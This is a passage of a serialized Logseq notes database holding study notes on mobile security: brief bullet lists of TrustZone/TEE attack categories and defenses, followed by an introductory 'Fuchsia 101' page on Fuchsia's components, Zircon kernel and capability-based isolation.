attackslogseq____&quot;,536878607]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^11logseq____&quot;,logseq____&quot;Vulnerabilities logseq____&amp; Attackslogseq____&quot;,536878607]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^Blogseq____&quot;,1740475031362,536878852]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8587-c196-4346-a003-7be10b33ad1dlogseq____&quot;,536878607]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Misuse of FingerprintAPI: Fingerprint not bound to crypto operations, e.g, retrieved key can be used without further authorizationlogseq____&quot;,536878655]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878612]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^@logseq____&quot;,false,536878612]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^Flogseq____&quot;,998,536878612]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^Xlogseq____&quot;,998,536878612]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^Vlogseq____&quot;,998,536878612]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^Ulogseq____&quot;,998,536878613]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878655]],[logseq____&quot;^15logseq____&quot;,[999,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8589-df8c-4cf1-ac44-69db2543e0c4logseq____&quot;,536878612]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;RCE in TrustZonelogseq____&apos;s kernellogseq____&quot;,536878671]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878658]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^@logseq____&quot;,false,536878658]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^Flogseq____&quot;,999,536878658]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^Xlogseq____&quot;,998,536878658]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^Vlogseq____&quot;,998,536878658]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^Ulogseq____&quot;,998,536878659]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878671]],[logseq____&quot;^15logseq____&quot;,[1001,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd888a-85d7-4777-91a2-de515596b4edlogseq____&quot;,536878658]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Privilege Escalation from zero to RCElogseq____&quot;,536878690]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878674]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^@logseq____&quot;,false,536878674]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^Flogseq____&quot;,1001,536878674]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^Xlogseq____&quot;,998,536878674]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^Vlogseq____&quot;,998,536878674]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^Ulogseq____&quot;,998,536878675]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878690]],[logseq____&quot;^15logseq____&quot;,[1002,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8898-7910-4572-96cd-b0dbfda4ee1clogseq____&quot;,536878674]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Side-Channel or microarchitectural attackslogseq____&quot;,536878718]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878693]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^@logseq____&quot;,false,536878693]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^Flogseq____&quot;,1002,536878693]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^Xlogseq____&quot;,998,536878693]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^Vlogseq____&quot;,998,536878693]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^Ulogseq____&quot;,998,536878694]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878718]],[logseq____&quot;^15logseq____&quot;,[1003,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd88b2-2607-4397-b211-b4b90e2e06a4logseq____&quot;,536878693]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;((67b9916a-6bf3-484b-8789-97ba34ac6c7c)) due to missing authenticity of calls to enclavelogseq____&quot;,536878745]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878721]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^@logseq____&quot;,false,536878721]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Flogseq____&quot;,1003,536878721]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Xlogseq____&quot;,998,536878721]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Vlogseq____&quot;,998,536878721]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Ulogseq____&quot;,528,536878728]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Ulogseq____&quot;,998,536878728]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878745]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^Hlogseq____&quot;,528,536878745]],[logseq____&quot;^15logseq____&quot;,[1004,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd88f4-96d3-4b53-8778-ffbcfc6589c7logseq____&quot;,536878721]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Abusing debugging features as vendors did not secure them (exfiltrate data from TEE)logseq____&quot;,536878767]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878748]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^@logseq____&quot;,false,536878748]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^Flogseq____&quot;,1004,536878748]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^Xlogseq____&quot;,998,536878748]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^Vlogseq____&quot;,998,536878748]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^Ulogseq____&quot;,998,536878749]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878767]],[logseq____&quot;^15logseq____&quot;,[1005,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8a1a-4b8c-4e65-912c-bfb0edee5763logseq____&quot;,536878748]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Defenseslogseq____&quot;,536878782]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878770]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^@logseq____&quot;,false,536878770]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Flogseq____&quot;,1005,536878770]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Xlogseq____&quot;,998,536878770]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Vlogseq____&quot;,998,536878770]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Ulogseq____&quot;,998,536878779]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878782]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878782]],[logseq____&quot;^15logseq____&quot;,[1006,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8a4e-2ca1-439b-9099-323a114155e0logseq____&quot;,536878770]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Decouple REE and TEE (less resource sharing)logseq____&quot;,536878805]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878782]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^@logseq____&quot;,false,536878782]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^Flogseq____&quot;,1006,536878782]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^Xlogseq____&quot;,998,536878782]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^Vlogseq____&quot;,1006,536878784]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^Ulogseq____&quot;,998,536878783]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878805]],[logseq____&quot;^15logseq____&quot;,[1008,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8a56-2bc2-453f-bba6-c3cb88fa9181logseq____&quot;,536878782]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Multiple TEEs (task and secret separation)logseq____&quot;,536878830]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878806]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^@logseq____&quot;,false,536878806]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^Flogseq____&quot;,1008,536878806]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^Xlogseq____&quot;,998,536878806]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^Vlogseq____&quot;,1006,536878806]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^Ulogseq____&quot;,998,536878807]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878830]],[logseq____&quot;^15logseq____&quot;,[1010,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8a69-11f4-4172-bf67-28d0d0cb9ef1logseq____&quot;,536878806]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;StrongBox Keymaster: Keystore with dedicated HSMlogseq____&quot;,536878852]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878831]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^@logseq____&quot;,false,536878831]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^Flogseq____&quot;,1010,536878831]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^Xlogseq____&quot;,998,536878831]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^Vlogseq____&quot;,1006,536878831]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^Ulogseq____&quot;,998,536878832]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878852]],[logseq____&quot;^15logseq____&quot;,[1011,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8a7b-0f67-43ca-9d34-cdadd54d53f0logseq____&quot;,536878831]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Fuchsia 101]]logseq____&quot;,536878868]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878861]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^@logseq____&quot;,false,536878861]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Flogseq____&quot;,997,536878861]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Xlogseq____&quot;,296,536878861]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Vlogseq____&quot;,997,536878863]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Ulogseq____&quot;,296,536878869]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Ulogseq____&quot;,1013,536878869]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878868]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878868]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^Hlogseq____&quot;,1013,536878868]],[logseq____&quot;^15logseq____&quot;,[1012,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8b0e-a29e-41b9-85c1-8f52d993da6dlogseq____&quot;,536878861]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^Klogseq____&quot;,1740475581438,536878868]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878872]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^@logseq____&quot;,false,536878868]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;fuchsia 101logseq____&quot;,536878868]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^11logseq____&quot;,logseq____&quot;Fuchsia 101logseq____&quot;,536878868]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^Blogseq____&quot;,1740477690607,536879785]],[logseq____&quot;^15logseq____&quot;,[1013,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8cbd-ffa0-424c-9d15-831f57bc3f0elogseq____&quot;,536878868]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536878889]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878873]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^@logseq____&quot;,false,536878873]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Flogseq____&quot;,1013,536878873]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Xlogseq____&quot;,1013,536878873]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Vlogseq____&quot;,1013,536878873]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Ulogseq____&quot;,1013,536878874]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878889]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878889]],[logseq____&quot;^15logseq____&quot;,[1014,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8cbf-df29-4802-b0ec-f88b9edb4aeelogseq____&quot;,536878873]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Designed from scratch for security, updateability and supportlogseq____&quot;,536878917]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878889]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^@logseq____&quot;,false,536878889]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^Flogseq____&quot;,1014,536878889]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^Xlogseq____&quot;,1013,536878889]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^Vlogseq____&quot;,1014,536878891]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^Ulogseq____&quot;,1013,536878890]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878917]],[logseq____&quot;^15logseq____&quot;,[1017,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8d26-da75-465a-929f-b86ca59cc78blogseq____&quot;,536878889]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Terminology:logseq____&quot;,536878930]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878920]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^@logseq____&quot;,false,536878920]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Flogseq____&quot;,1017,536878920]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Xlogseq____&quot;,1013,536878920]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Vlogseq____&quot;,1014,536878920]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Ulogseq____&quot;,1013,536878921]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878930]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878930]],[logseq____&quot;^15logseq____&quot;,[1018,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8d43-8437-4a83-82f7-685b48b9e44flogseq____&quot;,536878920]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Component*logseq____&quot;,536879363]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878931]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^@logseq____&quot;,false,536878931]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^Flogseq____&quot;,1018,536878931]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^Xlogseq____&quot;,1013,536878931]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^Vlogseq____&quot;,1018,536878937]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^Ulogseq____&quot;,1013,536878932]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879363]],[logseq____&quot;^15logseq____&quot;,[1019,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8d58-f2c8-4cc9-bb61-485b48554a63logseq____&quot;,536878931]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Apps*: set of components that run in independent runimes called Runnerslogseq____&quot;,536879001]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878970]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^@logseq____&quot;,false,536878970]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^Flogseq____&quot;,1019,536879358]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^Xlogseq____&quot;,1013,536878970]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^Vlogseq____&quot;,1018,536878970]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^Ulogseq____&quot;,1013,536878971]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879001]],[logseq____&quot;^15logseq____&quot;,[1020,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8d80-c02b-41b7-94bb-a62823392d50logseq____&quot;,536878970]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Runner*: can either execute binaries, render web pages or run compiled code inside a VMlogseq____&quot;,536879026]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879001]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^@logseq____&quot;,false,536879001]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^Flogseq____&quot;,1020,536879001]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^Xlogseq____&quot;,1013,536879001]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^Vlogseq____&quot;,1018,536879001]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^Ulogseq____&quot;,1013,536879002]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879026]],[logseq____&quot;^15logseq____&quot;,[1021,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8d9d-81b0-4d48-917f-32284314bb76logseq____&quot;,536879001]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Package*: Apps distribued through platform-independent format (cryptographically signed tree of BLOBs), stored on content-addressable fs (`blobfs`) with deduplication and cryptographic hash verification of fileslogseq____&quot;,536879102]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879029]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^@logseq____&quot;,false,536879029]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^Flogseq____&quot;,1021,536879029]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^Xlogseq____&quot;,1013,536879029]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^Vlogseq____&quot;,1018,536879029]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^Ulogseq____&quot;,1013,536879030]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879102]],[logseq____&quot;^15logseq____&quot;,[1022,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8dbc-20ec-407b-abb6-26507cad2e45logseq____&quot;,536879029]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Architecturelogseq____&quot;,536879113]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879105]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^@logseq____&quot;,false,536879105]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Flogseq____&quot;,1014,536879108]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Xlogseq____&quot;,1013,536879105]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Vlogseq____&quot;,1013,536879108]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Ulogseq____&quot;,1013,536879106]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536879113]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536879113]],[logseq____&quot;^15logseq____&quot;,[1023,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8e3d-d6f5-4bb9-90a6-cee543b952d9logseq____&quot;,536879105]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Zicron*: capability-based, object-oriented kernel (offers IPC, scheduling and memory management)logseq____&quot;,536879148]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879114]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^@logseq____&quot;,false,536879114]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^Flogseq____&quot;,1023,536879114]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^Xlogseq____&quot;,1013,536879114]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^Vlogseq____&quot;,1023,536879116]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^Ulogseq____&quot;,1013,536879115]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879148]],[logseq____&quot;^15logseq____&quot;,[1024,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8e41-c7a6-4645-9ea2-1eb850c6905flogseq____&quot;,536879114]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Other system components implemented in user-space and isolated using ((67b73cc0-6cc9-4099-81fe-fb696e04c2e6))logseq____&quot;,536879171]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879149]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^@logseq____&quot;,false,536879149]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Flogseq____&quot;,1024,536879149]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Xlogseq____&quot;,1013,536879149]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Vlogseq____&quot;,1023,536879149]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Ulogseq____&quot;,234,536879172]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Ulogseq____&quot;,1013,536879172]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879171]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^Hlogseq____&quot;,234,536879171]],[logseq____&quot;^15logseq____&quot;,[1025,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8e74-b3a9-4356-8545-dd8dd7d53f7alogseq____&quot;,536879149]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Software Isolationlogseq____&quot;,536879188]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879175]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^@logseq____&quot;,false,536879175]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Flogseq____&quot;,1025,536879185]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Xlogseq____&quot;,1013,536879175]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Vlogseq____&quot;,1023,536879185]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Ulogseq____&quot;,1013,536879176]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536879188]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536879188]],[logseq____&quot;^15logseq____&quot;,[1026,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8e99-3b53-47e5-a863-16e21ba9aabdlogseq____&quot;,536879175]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Capability-based: handles process-local references to kernel-space objects declaring privileges/rightslogseq____&quot;,536879225]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879188]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^@logseq____&quot;,false,536879188]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^Flogseq____&quot;,1026,536879188]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^Xlogseq____&quot;,1013,536879188]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^Vlogseq____&quot;,1026,536879190]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^Ulogseq____&quot;,1013,536879189]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879225]],[logseq____&quot;^15logseq____&quot;,[1027,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8ecc-98d0-4bcf-bfe1-263f2edbcafdlogseq____&quot;,536879188]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Sandboxing: Processes rely 